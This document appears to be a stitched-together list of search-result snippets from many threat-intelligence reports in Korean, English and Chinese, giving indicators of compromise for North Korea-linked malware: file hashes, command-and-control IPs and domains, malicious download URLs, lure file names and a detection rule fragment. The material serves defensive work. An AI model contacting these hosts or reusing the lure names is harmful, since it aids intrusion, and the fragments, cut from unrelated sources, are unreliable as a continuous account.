: E2487B33A6510D6F51B8AA158A36C6C290E885A66A9E30D54E3BB1FE0EA79777 FileName :…","…MD5 37c7fd52c0102a461aa29b1772ecbe12 929a87be39ed3ad28e7285340f64414f b46ba113b1d461041af9f31ca8d5f916 da9816b60d9866b1b6d90a8e20e39623 URL http://ms-work.com-info.store/ Tags: APT 매크로 악성문서…","…확인했으며 분석하는 현 시간(07/05)까지 접근이 가능했다. [그림 1] GitHub Repository 메인 화면 [1] https://asec.ahnlab.com/ko/50275/ MD5 daa2395113772adb0fab0cf0b2028ed2 IP 106.14.166.53 Tags: FlowerPower GitHub Quasar QuasarRAT xRAT…","…Security Center 26 파일명 홍준표의 「당당한 안보외교통일 구상」 .hwp 크기 32,768 바이트 최종 수정일자 2017-04-26 23:58:05 (UTC) MD5 dac8aa9112bf51b88236adec2ddd0869 SHA256 6e531deb2b3a7b54782d44a1ec2f49b9ff463e76e05d44ee85cc1 04e4a8fb380 [ 표 06] ‘ 홍준표의 「당당한 안보외교통일 구상」 .hwp’ 파일 세부 정보…","…the capabilities of this second tool. MD5: b9ad0cc2a2e0f513ce716cdf037da907 SHA1: 1a50a7ea5ca105df504c33af1c0329d36f03715b SAH256: db0f102af2d350aa1a63772e6ee9b211d78aa962a34f75c8702e71ccd261243e Parameter Check The malware expects at least one parameter: a file path (pointing towards the injected payload) to be passed to it…","…MD5 12539ac37a81cc2e19338a67d237f833 SHA-1 39a61c4d9d25c8ed1b38b1a51a8ef0b5cf51ce10 SHA-256 db18e23bebb8581ba5670201cea98ccf71ecea70d64856b96c56c63c61b91bbe C2 qwert.mine.bz 216.189.154.6:80 URL http://qwert.mine.bz/index.php Registry Key…","…// package.json SHA256:6ffedf7ec3b9cea4c99ac7ff5b0e2fb8e68f0a6bfce7110ff6ab267bc485fbb3 // stager_mac.sh SHA256:db2b3c88d8ab1a55591b21d727812bc855da0e02e85e0bfe77d4335153090ac0 // stager_nix.sh SHA256:f63c498b9c42612447fdb757a59aa9a1bb2285e77f83af8224577f9478fd8f2d //…","…IOCs MD5 aefa2caddfeb3bccb1e696cc2cd6955a e0d73c941e3792f7c753724c0c064de8 9f8e51f4adc007bb0364dfafb19a8c11 db315d7b0d9e8c9ca0aa6892202d498b f5b14052e15aea78d2da695276f585c8 A2BE99A5AA26155E6E42A17FBE4FD54D e24bbbd3b32ca2fd3b8fb76f036cb4bb 790a21734604b374cf260d20770bfc96 d3…","…Hash-MD5 80a2af99fd990567869e9cf4039edf73 Hash-MD5 c39ed6f52aaa31ae0301c591802da24b Hash-MD5 db349b97c37d22f5ea1d1841e3c89eb4 Hash-MD5 f9992dfb56a9c6c20eb727e6a26b0172 Hash-MD5 46d140a0eb13582852b5f778bb20cf0e Hash-MD5…","…MSVCP140.dll) DLL Characteristics ASLR, DEP, High Entropy VA Imported Libraries 18 DLLs (276 imported functions) SHA-256 db446f0e1d18b43805bfefe1af934ae4b0879e376904635cc7e14eae2d7fc682 The Stage A shellcode deploys the above native PE binary, which runs within the compromised browser process space.…","…with these attacks (see Figure 1). MD5 File Size Identification 9263e40d9823aecf9388b64de34eae54 427,520 bytes Dropper db4bbdc36a78a8807ad9b15a562515c4 24,576 bytes Wiper A 5fcd6e1dace6b0599429d913850f0364 24,576 bytes Wiper B 0a8032cd6b4a710b1771a080fa09fb87 24,576 bytes Wiper C…","…for analysis. 284bc471647f951c79e3e333b2b19aa37f84cc39b55441a82e2a5f7319131fac Tags puptrojan Details Name DB590EA77A92AE6435E2EC954D065ED4 Size 118272 bytes Type PE32+ executable (DLL) (GUI) x86-64, for MS Windows MD5 db590ea77a92ae6435e2ec954d065ed4 SHA1…","…Comebacker SHA256 hash: 63fb47c3b4693409ebadf8a5179141af5cf45a46d1e98e5f763ca0d7d64fb17c CollectionRAT SHA256 hashes: db6a9934570fa98a93a979e7e0e218e0c9710e5a787b18c6948f2eedd9338984 d8565d58ad8e4f5558b5cd70df0ad12be9cf44e32ad07aaac6f65b816edbf414 Updated Sept.…","ed8ec7a8dd089019cfd29143f008fa0951c56a35d73b2e1b274315152d0c0ee6 db6a9934570fa98a93a979e7e0e218e0c9710e5a787b18c6948f2eedd9338984 773760fd71d52457ba53a314f15dddb1a74e8b2f5a90e5e150dea48a21aa76df 05e9fe8e9e693cb073ba82096c291145c953ca3a3f8b3974f9c66d15c1a3a11d…","…6cac0be2120be7b3592fe4e1f7c86f4abc7b168d058e07dc8975bf1eafd7cb25 d844777dcafcde8622b9472b6cd442c50c3747579868a53a505ef2f5a4f0e26a db8163d054a35522d0dec35743cfd2c9872e0eb446467b573a79f84d61761471 f7f2dd674532056c0d67ef1fb7c8ae8dd0484768604b551ee9b6c4405008fe6b Hashes detected as CHM_DLOADER.ZCEL-A…","…has fixed [58] the Mark of the Web bypass. 2 SHA-256: 2BC366EB7759C0C7DEF2B74C2E16CEB399698250D2BE07B5317C5F4E33806E46 3 SHA-256: DB9A6EFD5D64BA0BA1783C51B6D430873518FA032BF5265C6837C7674321E183 4 SHA-256: 296599DF29F4FFA9BF753FF9440032D912969D0BAB6E3208AB88B350F9A83605 5 SHA-256:…","…file :- 코로나19 재감염 사례-백신 무용지물.hwp hashes: MD5 f17502d3e12615b0fa8868472a4eabfb SHA1 40359e0e92a99b428778ac4e9d70fbc4d5307961 SHA256 dbbecbafd905f0b4a2c8194cba3c879d2b933094be9bf27ae69295b4d1de2055 DNS requests: domain ocsp.digicert.com Connections: ip 104.111.242.51 ip 23.32.238.240 HTTP/HTTPS…","…of Compromise IP 108.181.50.58 158.247.219.10 175.214.194.61 61.97.243.2 MD5 5f6682ad9da4590cba106e2f1a8cbe26 SHA-256 dbd5d662cc53d4b91cf7da9979cdffd1b4f702323bb9ec4114371bc6f4f0d4a6 SHA1 7043c7c101532df47c832ce5270745dd3d1e8c08 Remediation Block all threat indicators at your respective controls. Search for…","…Size 115712 bytes Type PE32+ executable (GUI) x86-64, for MS Windows MD5 60c2efdafbffc5bd6709c8e461f7b77d SHA1 dbddccba18422eea5d7bb1bdfe66ceee90446a45 SHA256 fc1aafd2ed190fa523e60c3d22b6f7ca049d97fc41c9a2fe987576d6b5e81d6d SHA512…","…with a known Command and Control (C2) server at IP address 104.168.136.24 . The malware sample : localfile~.x64 (SHA-256: dbe48dc08216850e93082b4d27868a7ca51656d9e55366f2642fc5106e3af980 ) has been identified as part of the Cosmic Rust malware family, which is attributed to APT38 (Bluenoroff) —a financially motivated…","…description.doc?dl=1 Hashes dc06b737ce6ada23b4d179d81dc7d910a7dbfdde a79488b114f57bd3d8a7fa29e7647e2281ce21f6 7e70793c1ca82006775a0cac2bd75cc9ada37d7c 535f212b320df049ae8b8ebe0a4f93e3bd25ed79 1dd8eba55b16…","…Name rdpproto.dll Size 391680 bytes Type PE32+ executable (DLL) (console) x86-64, for MS Windows MD5 dc268b166fe4c1d1c8595dccf857c476 SHA1 8264556c8a6e460760dc6bb72ecc6f0f966a16b8 SHA256 49757cf85657757704656c079785c072bbc233cab942418d99d1f63d43f28359 SHA512…","…FAC3FB1C20F2A56887BDBA892E470700C76C81BA AA374FA424CC31D2E5EC8ECE2BA745C28CB4E1E8 E50AD1A7A30A385A9D0A2C0A483D85D906EF4A9C DC72D464289102CAAF47EC318B6110ED6AF7E5E4 9F7B4004018229FAD8489B17F60AADB3281D6177 2A2839F69EC1BA74853B11F8A8505F7086F1C07A 8EDB488B5F280490102241B56F1A8A71EBEEF8E3 Code…","…sample has the following properties as seen in Table 4: MD5 ae27e617f4197cd30cc09fe784453cd4 SHA1 dc739ca07585eab7394843bc4dba2faca8e5bfe0 SHA256 9b1a21d352ededd057ee3a965907126dd11d13474028a429d91e2349b1f00e10 File Type PE32 executable (GUI) Intel 80386, for MS…","…MD5 d620c699a5b1828aca699b5aee77e5e6 SHA1 e769a810389f931b748bbe80742c427126c063a4 SHA256 dcb232409c799f6ddfe4bc0566161c2d0b372db6095a0018e6059e34c2b79c61 SHA512…","…July 2018 Attack Indicator Type Indicator Hash d92c94423ec3d01ad584a74a38a2e817449648a4da3f12d345c611edc5c4cdbd Hash dce53e59b0c48e269dadc766a78667a14f11b72c49f57d95abde62c84ac8d7ae Hash 0657f788e89a437a1e6fe2630c19436736aa55dcf255540698864a7576192611 Hash…","…dced1acbbe11db2b9e7ae44a617f3c12d6613a8188f6a1ece0451e4cd4205156 Tags: trojan macho Name: Esilet-tmpg7lpp Size: 38.24 KB (39156 bytes) MD5: 9578c2be6437dcc8517e78a5de1fa975 SHA-1:…","…TAXHAUL, also triggers on other samples already on VirusTotal: SHA-1: 2ACC6F1D4656978F4D503929B8C804530D7E7CF6 ( ualapi.dll ), SHA-1: DCEF83D8EE080B54DC54759C59F955E73D67AA65 ( wlbsctrl.dll ) The filenames, but not MD5s, of these samples coincide with those from Kaspersky’s blogpost.…","…Type PE32 executable (DLL) (GUI) Intel 80386, for MS Windows, UPX compressed MD5 c627db421adaaa320d3ac42396c89f8a SHA1 dcf95cd96203e794724fc14e454e63fba9afe82a SHA256 b70e66d387e42f5f04b69b9eb15306036702ab8a50b16f5403289b5388292db9 SHA512…","…Size 456241 bytes Type data MD5 f8d26f2b8dd2ac4889597e1f2fd1f248 SHA1 dd132f76a4aff9862923d6a10e54dca26f26b1b4 SHA256 d77fdabe17cdba62a8e728cbe6c740e2c2e541072501f77988674e07a05dfb39 SHA512…","…(2022.03.19.00) Gold Dragon : Trojan/Win.Kimsuky.C5016818 (2022.03.19.00) MD5 c096ceaaecd4c8fccfe765280a6dac1e dd468bb6daff412f0205b21d50ddd641 URL https://osp06397.net/view.php?id=21504 https://us43784.org/report.php AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로…","…d11ad0763440 598b8a9b7bb134bdbf34503e109ec66a18dbbfa9 9837e850f9800cff7d4fd26a2d9ccbaa1960d50b 9534d277d796890affadb3d3861d22a61bfdbbdd dd6bbd76378fce03e2b72c904832e576d4576354 Remediation Block all threat indicators at your respective controls. Search for indicators of compromise (IOCs) in your environment…","…adobe distillist.lnk #2 SHA256: 39bc918f0080603ac80fe1ec2edfd3099a88dc04322106735bc08188838b2635 Filename: winload.exe #3 SHA256: dd730cc8fcbb979eb366915397b8535ce3b6cfdb01be2235797d9783661fc84d Filename: winload.dll CC Pactchfilepacks.net23.net checkmail.phpnet.us 2017 Campaign B: DropperSHA256:…","…8ce219552e235dcaf1c694be122d6339ed4ff8df70bf358cd165e6eb487ccfc5 c2904dc8bbb569536c742fca0c51a766e836d0da8fac1c1abd99744e9b50164f dda53eee2c5cb0abdbf5242f5e82f4de83898b6a9dd8aa935c2be29bafc9a469 90fb0cd574155fd8667d20f97ac464eca67bdb6a8ee64184159362d45d79b6a4 YamaBot…","…bb915073385dd16a846dfa318afa3c19 6285ffb5f98d35cd98e78d48b63a05af6e4e4dea dde03348075512796241389dfea5560c20a3d2a2eac95c894e7bbed5e85a0acc 9833a4779b69b38e3e51f04e395674c6 8433a94aedb6380ac8d4610af643fb0e5220c5cb…","…Name BE588CD29B9DC6F8CFC4D0AA5E5C79AA Name ddea408e178f0412ae78ff5d5adf2439251f68cad4fd853ee466a3c74649642d Size 267776 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 be588cd29b9dc6f8cfc4d0aa5e5c79aa SHA1…","…SHA-256: d77fdabe17cdba62a8e728cbe6c740e2c2e541072501f77988674e07a05dfb39 SHA-256: ddea408e178f0412ae78ff5d5adf2439251f68cad4fd853ee466a3c74649642d SHA-256: f8f7720785f7e75bd6407ac2acd63f90ab6c2907d3619162dc41a8ffa40a5d03 SHA-256:…","…Size 157696 bytes Type PE32+ executable (DLL) (GUI) x86-64, for MS Windows MD5 72fe869aa394ef0a62bb8324857770dd SHA1 de03860d8a43358554ee4fab22c3fb25cae8992b SHA256 f6e1a146543d2903146698da5698b2a214201720c0be756c6e8d2a2f27dcfaff SHA512…","…6cabe7 c63a415d23fc4ab10ad3acfdd47d42b5c7444604485ab45147277cca82fffb34 16c3a7f143e831dd0481d2d57aae885090e22ec55cc8282009f641755d423fcd de2d458c8e4befcd478a0010789d80997793790b18a347d10a595d6e87d91f34 2f133525f76ab0ebb0b370601673361253074c337f0b0895d0f0cb5bc261cfcb e83a08bcb4353bfd6edcdedbc9ead9ab179a620e15155b60d18153bed9892f38 6f6739…","…File Name [한국정치학회] 춘계학술회의 프로그램.hwp MD5 de4b2a970bfab5209c9aa5c1a541ff76 File Name SamsungVer3.01.03Printer.com MD5 3dbf18a8ae5cd1e9168e572189abac86 추가 상세 분석 내용은 추후 ' 쓰렛…","…File Name (artifact): JPGE_Viewer.[exe|zip] Issuer (APK Certificate): C=US, O=Android, CN=Android Debug SHA1 (APK Certificate): DE61E1A79B2EF010C4196CD0AAA4E470045B5B45 [+] File Detection Rule rule APT37_ImageViewerDEX_v21 : APT37 Threat Group { meta: description = \"Strings based detection of…","…설날 잘 보내시고 새해복 많이 받으세요!!! IOC FileName : PDF오성사 MC2-500 외형도 P1307033 Model_수정.pdf.exe MD5 : DA799D16AED24CF4F8EC62D5048AFD1A SHA1 : DE700699E8185497A82BB121FCC4CC6B470F1CE3 SHA256 : E2487B33A6510D6F51B8AA158A36C6C290E885A66A9E30D54E3BB1FE0EA79777 FileName : resource_PDF MD5 : 5FDC8906A03FFD214E09816FDC58059A…","…\"type\": \"file\"}}} {\"threat\": {\"indicator\": {\"description\": \"Simple indicator of observable {de81e5246978775a45f3dbda43e2716aaa1b1c4399fe7d44f918fccecc4dd500}\", \"file\": {\"hash\": {\"md5\": [\"cdc7ae6934b904c62c942b6803ee31d6\"], \"sha1\": [\"8a1b32ab8c2a889985e530425ae00f4428c575cc\"], \"sha256\":…","…Size 115712 bytes Type PE32+ executable (GUI) x86-64, for MS Windows MD5 149a696472d4a189f5896336ab16cc34 SHA1 decb43141699e43a1d27dc2db063e0020f9f33aa SHA256 572a124f5665be68eaa472590f3ba75bf34b0ea2942b5fcbfd3e74654202dd09 SHA512…","…File C:\\Users\\ \\AppData\\Local\\Temp\\CF8C.vbs [hash unavailable] File C:\\Users\\ \\AppData\\Roaming\\Microsoft\\dev.ps1 def0975728fc5da61c022bb62b7160e2764631b852ec7f83951263c7830bec8d File C:\\Users\\ \\AppData\\Roaming\\Microsoft\\pow.ps1 d41c943fd5ffacde74f487df6a43b72e9730f05812b9b1f8dc874bd486f182b3…","…Size 1120318 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 26520499a3fc627d335e34586e99de7a SHA1 df10c097e42dbe7ea4478a984c5e2ab586147519 SHA256 b6811b42023524e691b517d19d0321f890f91f35ebbdf1c12cbb92cda5b6de32 SHA512…","…Size 118784 bytes Type PE32 executable (GUI) Intel 80386, for MS Windows MD5 77b50bb476a85a7aa30c962a389838aa SHA1 df466a1f473c7c5eba5f22d90822fd1430b6a244 SHA256 3c809a10106990ba93ec0ed3b63ec8558414c6680f6187066b1aacd4d8c58210 SHA512…","…5c9af548cb39a3a2b4f7a91aad0cdccc cd68b8c00708844fefaff84f23f97a67bedbee814888d172a530752d3d8a2cae CDrivers.zip df994bd9153914e66ceee3f8bcb93527 c17aa46954ed1b9cd147e674de3f25520b1dfcaa20778a36b6957da1b291f0d3 CDrivers (1).zip a6add56c8c3cda2a4a247632aa7fc3ea…","…Bisonal SHA256: 43459F5117BEE7B49F2CEE7CE934471E01FB2AA2856F230943460E14E19183A6 DFA1AD6083AA06B82EDFA672925BB78C16D4E8CB2510CBE18EA1CF598E7F2722 1128D10347DD602ECD3228FAA389ADD11415BF6936E2328101311264547AFA75 359835C4A9DBE2D95E483464659744409E877CB6F5D791DAA33FD601A01376FC C2:…","…file bcdd8a213cf6986bad4bb487fe1bf798e159d32fd3a88b4e8d2945403d1c428d file dfad5a2324e4bde8ba232d914fcea4c7c765992951eb933264fe1a2aaa8da164 ip_address 116.202.99.218 mutex Global\\AB732E15-D8DD-87A1-7464-CE6698819E701 file_path…","…tool\" MD5_1 = \"40e698f961eb796728a57ddf81f52b9a\" SHA256_1 = \"a917c1cc198cf36c0f2f6c24652e5c2e94e28d963b128d54f00144d216b2d118\" MD5_2 = \"dfd09e91b7f86a984f8687ed6033af9d\" SHA256_2 = \"aca598e2c619424077ef8043cb4284729045d296ce95414c83ed70985c892c83\" MD5_3 = \"bda82f0d9e2cb7996d2eefdd1e5b41c4\" SHA256_3 =…","…SHA-1 SHA-256 .lnk file https://quantum-software.online/remote/bdg.hta Domain Malicious Domain 52b0b06ab4cf6c6b1a13d8eec2705e3b dfdde88da020e584038d2656d0e3d48cfae27b1a b9899082824f1273e53cbf1d455f3608489388672d20b407338ffeecefc248f1 MD5 SHA-1 SHA-256 Lazarus .lnk file…","…| BirdTroy | | a452a860f973c7a43ea804c17e9427d2 | DriveTroy | | 633 c3076c396f2200048d1b62da204d2 | HttpTroy | | dff787bce68c7653495f153c0534cb96 | DWAgent .…","…2337 bytes Type ASCII text MD5 844eec0ff86c10f5f9b41648b066563b SHA1 5d0fd2c5f58dcbc51e210894e8698bc14ccd30e2 SHA256 e03dc5f1447f243cf1f305c58d95000ef4e7dbcc5c4e91154daa5acd83fea9a8 SHA512…","…MD5 SHA1 SHA256 Malicious ICO File 3eb70db2f6bffbe29970f759747e07bd f533bea1c0558f73f6a3930343c16945fb75b20f e059c8c8b01d6f3af32257fc2b6fe188d5f4359c308b3684b1e0db2071c3425c MD5 SHA1 SHA256 Malicious ICO File…","…(GUI) x86-64, for MS Windows MD5 9722bc9e0efb4214116066d1ff14094c SHA1 41a938499048a6ad8034d09e2fbb893da8f13ca9 SHA256 e088c3a0b0f466df5329d9a66ff618de3d468d8a5981715303babb1452631eef SHA512…","…e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 File C:\\Users\\ \\AppData\\Roaming\\Microsoft\\Windows\\qwert.vbs e08fe0b287b4d112514276c2b102b9c80b4dab73257f06ab24231329389ad931 File C:\\Users\\ \\AppData\\Microsoft\\ttmp.log [hash unavailable] File C:\\Users\\ \\AppData\\Microsoft\\filexx.tmp…","…7c4ec9 acfae7e2fdda02e81b3e03f8c30741744d629cd672db424027f7caa59c975897 7429a6b6e8518a1ec1d1c37a8786359885f2fd4abde560adaef331ca9deaeefd e09224a24a14a08c6fcb79b00b4a7b3097c84f805f5f2adefe2f7d04d7b4a8ee 062aadf3eb69686f4881860d88ce472e6b1c07e1f586d840dd2ee1f7b76cabe7 c63a415d23fc4ab10ad3acfdd47d42b5c7444604485ab45147277cca82fffb34 16c3a7…","…GoogleMsgStatus.pdf SHA-256 Hash e09d2277a19dddd751edb164bde064682a6acc41a7ee178a2dacd4f9ac357fc7 Application Bundle and mach-O Risk factors for Bitcoin's price decline are emerging(2024).app/Contents/MacOS/TodoTasks Code…","…MD5 e0d73c941e3792f7c753724c0c064de8 编程语言 javascript 接着会打开base64解码后的谷歌云盘中的诱饵文件。 并通过wmi接口遍历当前系统进程，检查杀毒软件。 Bdagent和epsecurityservice为Bitdefender…","…MD5 35545d891ea9370dfef9a8a2ab1cf95d SHA256 e0e59bfc22876c170af65dcbf19f744ae560cc43b720b23b9d248f4505c02f3e Creation Time 2020-08-19 05:45:17 Export Table 위와 같은 로직으로 내부데이터를 복호화 하여 메모리에 올려서 Final Payload를 다운로드하여 실행한다.…","…dive right into the characteristics and analysis of the malware itself. Malware Analysis MD5: 851e33373114fef45d0fe28c6934fa73 SHA256: e0ea745b9d6fe7c222a0ee4962905f9cea3754e7b587274ec7ccef59b3825d9f File name: firmware upgrade installer.exe FIle type: Win PE Size: 408kb As the file name suggests, the executable file is disguised as…","…98e94d7be1d59c17f6bcf3ce09661f83 4f544e8756373520e98ed12b921ea7e05a93cf0152405ef3ac65133f7c8660a1 e0f4924aeb8befbf6a78411f910d2c148de7c5ff c587cdbadc3573149c8b1a78fbbd876f 84674acffba5101c8ac518019a9afe2a78a675ef3525a44dceddeed8a0092c69…","…in an in-the-wild attack against specific organizations in South Korea. (Related sample) 12721952796–107–0_1.ad_toast.html (MD5: e11bb2478930d0b5f6c473464f2a2b6e ) (Distribution method) Malicious script downloaded from attacker’s C&C server* via freeware’s ad add-on feature process (*Uses a domain…","…NO File Name MD5 Notes 1 ad_toast.html e11bb2478930d0b5f6c473464f2a2B6e 2 43 b9d4702c1b72659f486259520f48b483 1st Malware (/images/20230912/43 xor(0x4B) Encoding Shellcode)…","…utilizing a compromised advertisement server to distribute malicious code. Indicators of Compromise Related to RokRAT MD5: e11bb2478930d0b5f6c473464f2a2b6e bd2d599ab51f9068d8c8eccadaca103d SHA-256:…","…sha1 : A7B0711B45081768817E85D6FC76E23093093F87 sha256 : 3903958EB28632AA58E455EB87482D1CCEF38A6FE43512BAAD30902E8BFDD6D5 E11E2425C62F34EBB3F640BAEEFB67D5 7DC6F8AAAF4431C365564A51DD37C143D857B89E 237DEBA138355BFB448E74BFB68FC868F4807B24D68715A6D47E348FC0CF9257 Case 2.…","…Access Credential Theft Privilege Escalation Indicators of Compromise Domain Name americajobmail.site IP 172.96.137.224 MD5 e12f93d462a622f32a4ff1e646549c42 f01eae4ee3cc03d621be7b0af7d60411 SHA-256…","…Later, during threat hunting, the experts found similar documents: Name Hash GDLS202009069871.pdf e13888eed2466efaae729f16fc8e348fbabea8d7acd6db4e062f6c0930128f8f GDLS_2020090392828334.doc 9c906c2f3bfb24883a8784a92515e6337e1767314816d5d9738f9ec182beaf44…","…Name partybbq.co.kr treffic.medianewsonline.com MD5 b7de564386ab778046b1dd3ef76e4b5e fdb058193917718fae6703e3090b8536 SHA-256 e13ad0ebaac36ec363eba5760e69cb995dcae7dcc6afc01bbb31642c3c175d61 6d84e311cf0d5ed3c6ab05d50d61d3ef0de27cef786ba99846f807c1ea65e10b SHA1…","…9b 5ed95cde6c29432a4f7dc48602f82734 16a8aaaf2e3125668e6bfb1705a065f9 64d729d0290e2c8ceaa6e38fa68e80e9 443a00feeb3beaea02b2fbcd4302a3c9 e13c3a38ca58fb0fa9da753e857dd3d5 e4813c34fe2327de1a94c51e630213d1 이 글 공유하기 Facebook…","…사용자 정보를 수집하고, 공격자의 명령에 따라 다양한 악성 행위를 수행할 수 있어 각별한 주의가 요구된다. MD5 a2ee8d2aa9f79551eb5dd8f9610ad557 d5fe744b9623a0cc7f0ef6464c5530da e13c3a38ca58fb0fa9da753e857dd3d5 e4813c34fe2327de1a94c51e630213d1 AhnLab TIP 를 구독하시면 연관 IOC 및 상세 분석 정보를 추가적으로 확인하실 수 있습니다.…","…the threat actor’s commands, so extra caution is advised. MD5 a2ee8d2aa9f79551eb5dd8f9610ad557 d5fe744b9623a0cc7f0ef6464c5530da e13c3a38ca58fb0fa9da753e857dd3d5 e4813c34fe2327de1a94c51e630213d1 Gain access to related IOCs and detailed analysis by subscribing to AhnLab TIP . For…","…Hash-SHA256 b3c39aeb14425f137b5bd0fd7654f1d6a45c0e8518ef7e209ad63d8dc6d0bac7 Hash-SHA256 e14f1a655d54254d06d51cd23a2fa57b6ffdf371cf6b828ee483b1b1d6d21079 Hash-SHA256 e8450dd6f908b23c9cbd6011fe3d940b24c0420a208d6924e2d920f92c894a96 Appendix 4. IoCs of BADCALL…","…SHA256 ac8df7baf7f1397a8c194840f6a5c1b0182088febde55f46d9f73ee8abc97c1d Scheduled Task Registration Script for VelvetCake SHA256 e162d64d3e69cea868f62f63906098de310fad9fa1ca693409a65de89760eaaa Scheduled Task Registration Script for VelvetCake SHA256 9f2cc22a74499b0a5b39a8f4732ff74d7338addd972387302016ba5a026936ac…","…\"Simple indicator of observable {7887638bcafd57e2896c7c16698e927ce92fd7d409aae698d33cdca3ce8d25b8}\", \"file\": {\"hash\": {\"md5\": [\"e169d95fffd8ab489f5eae02365d39ca\"], \"sha1\": [\"ed4f16b36bc47a701814b63e30d8ea7a226ca906\"], \"sha256\": [\"7887638bcafd57e2896c7c16698e927ce92fd7d409aae698d33cdca3ce8d25b8\"]}},…","…to extract a payload from an encrypted blob. In this attack, the payload extracted is a modular backdoor called Veiledsignal (SHA256: e185c99b3d1085aed9fda65a9774abd73ecf1229f14591606c6c59e9660c4345).…","…SHA-256 Malicious colorui.dll 63cddab76e9d63e3cbea421b607342735d924e462c40f3917b1b5fbdf8d4a20d SHA-256 Malicious Amazon-Kitty.exe e1ecf0f7bd90553baaa83dcdc177e1d2b20d6ee5520f5d9b44cdf59389432b10 SHA-256 Malicious KiTTY implant for mscoree.dll c5a470cdf6f57125a8671f6b8843149cc78ccbc1a7bc615f34b23d9f241312bf SHA-256 Weaponized…","…confirmed that the following malware was created on the infected host using the method described above: Fallchill backdoor loader: MD5: e1ed584a672cab33af29114576ad6cce File Size: 104,878,356 bytes File Type: PE32+ executable (DLL) (console) x86-64, for MS Windows Known file name: C:\\Windows\\system32\\…","…matches found. ssdeep Matches No matches found. PE Metadata Compile Date 2019-08-06 22:00:26-04:00 Import Hash e217501515a13bba8aefe7dcf3b74f33 Company Name UnionCrypto Co.Ltd File Description Union Crypto Trading Updater Internal Name unioncryptoupdater.exe Legal…","…(GUI) Intel 80386, for MS Windows MD5 704d491c155aad996f16377a35732cb4 SHA1 d1410d073a6df8979712dd1b6122983f66d5bef8 SHA256 e23900b00ffd67cd8dfa3283d9ced691566df6d63d1d46c95b22569b49011f09 SHA512…","…= ” – file AutoUpdate.dll” author = “Michael Rippey” reference = “ https://asec.ahnlab.com/ko/34883/&#8221 ; date = “2022-06-01” hash = “e240465ca0c31373dc7f1af2bfc08bda45a45aaf4466c6a15d3f16f1182147ea” strings: $a1 = “ADVAPI32.dll” fullword ascii $a2 = “KERNEL32.DLL” fullword ascii $a3 = “freed.dll” fullword ascii $a4 = “outlook” fullword…","…MC2-500 외형도 P1307033 Model_수정.pdf.exe MD5 : DA799D16AED24CF4F8EC62D5048AFD1A SHA1 : DE700699E8185497A82BB121FCC4CC6B470F1CE3 SHA256 : E2487B33A6510D6F51B8AA158A36C6C290E885A66A9E30D54E3BB1FE0EA79777 FileName : resource_PDF MD5 : 5FDC8906A03FFD214E09816FDC58059A SHA1 : C618645233B311E18E13322FFEBEC2677893DF50 SHA256 :…","…e8 9f8e51f4adc007bb0364dfafb19a8c11 db315d7b0d9e8c9ca0aa6892202d498b f5b14052e15aea78d2da695276f585c8 A2BE99A5AA26155E6E42A17FBE4FD54D e24bbbd3b32ca2fd3b8fb76f036cb4bb 790a21734604b374cf260d20770bfc96 d3a988a9750cb6582310c806fa32d4f1 805949896d8609412732ee7bfb44900a 1bf36342c0506a58369a3b530b7d0bcc 60…","…MD5 d5669c046c78f54d2acb353626bb3bcf ec6842538f6166462d498279b8a462b3 29b0a6b9608540b9446c0fb14a36f0b0 SHA-256 e25c696a6d4b6eafde43f2d6b8db45701cafc329df111ec48d63c5d0fb80f80c d0544a045aae0e316380b57a7319ec54f7f0979a7882f33a15839311c7e29888 e9239ba649aec746e3c0088bc56400460b4a03e5f2df132ec7e47c14ccb70c0c…","…\"Simple indicator of observable {ec8f97d5595d92ec678ffbf5ae1f60ce90e620088927f751c76935c46aa7dc41}\", \"file\": {\"hash\": {\"md5\": [\"e2699d59c3602893698c5958f485c6c2\"], \"sha1\": [\"3cc19cef767dee93588525c74fe9c1f1bf6f8007\"], \"sha256\": [\"ec8f97d5595d92ec678ffbf5ae1f60ce90e620088927f751c76935c46aa7dc41\"]}},…","…A: INDICATORS OF COMPROMISE MD5 Hashes 9cc6854bc5e217104734043c89dc4ff8 9914075cc687bdc352ee136ac6579707 e29fe3c181ac9ddbb242688b151f3310 9216b29114fb6713ef228370cbfe4045 8e32fccd70cec634d13795bcb1da85ff 889e320cf66520485e1a0475107d7419…","…(GUI) x86-64, for MS Windows MD5 c9f452576b2430814821da0223a535c8 SHA1 cad1120d91b812acafef7175f949dd1b09c6c21a SHA256 e2ef455e92b3cb5a4c0f3093191d0bfb4fe3ff961e2a403feaa26060a298c70f SHA512…","…773760fd71d52457ba53a314f15dddb1a74e8b2f5a90e5e150dea48a21aa76df 05e9fe8e9e693cb073ba82096c291145c953ca3a3f8b3974f9c66d15c1a3a11d e3027062e602c5d1812c039739e2f93fc78341a67b77692567a4690935123abe 146.4.21.94 109.248.150.13 108.61.186.55:443 http://146.4.21.94/tmp/tmp/comp.dat http://146.4.21.94/tmp/tmp/log.php…","…SHA-1 540853beffb0ba9b26cf305bcf92fad82599eb3c e3069713add2d99750af6c30580fb3595a0b6abc Remediation Block all threat indicators at your respective controls. Search for indicators of compromise (IOCs) in your environment…","…As a certificate: 2ad3266331e405677c68bb43c490467107ca398d3ce430080a4db92036c93160 Converted DLL: e314b40449b7b9b84f20f49f89888511433573377e007e5c1e94fd84ecf17caf File C:\\Users\\ \\AppData\\Local\\Microsoft\\OneDrive\\version.dll [hash unavailable] File C:\\Users\\…","…写入的文件如下图所示： 启动载荷的参数如图所示为 “iDmzQtvReUSCdTn”。 有效载荷信息如下 - - MD5 e33a34fa0e0696f6eae4feba11873f56 文件名 Icon.PIF 时间戳 星期六, 11.09.2021 01:13:44 UTC…","…⚫ 3f694a68ff9a26feb38e6eb6d3c1e5a6 ⚫ 77cbe2c9c957110841405691ba438322 ⚫ 8b36d639de339149612222f3bc28fd60 ⚫ e340f0c34c644f990b03673176f52f84 B.…","…MD5 6058368894f25b7bc8dd53d3a82d9146 SHA1 8644da026f9e8873dd8699bd68c77a25001be726 SHA256 e352d6ea4da596abfdf51f617584611fc9321d5a6d1c22aff243aecdef8e7e55 SHA512…","…(GUI) Intel 80386, for MS Windows MD5 24b3614d5c5e53e40b42b4e057001770 SHA1 b040433fb50d679b2e287d7fcc1667a415fb60b0 SHA256 e3623c2440b692f6b557a862719dc95f41d2e9ad7b560e837d3b59bfe4b8b774 SHA512…","…[Konni 관련] md5 e37c8f6aba686aab3d7ecedbd1d0ef43 가상자산사업자 검사계획민당정회의 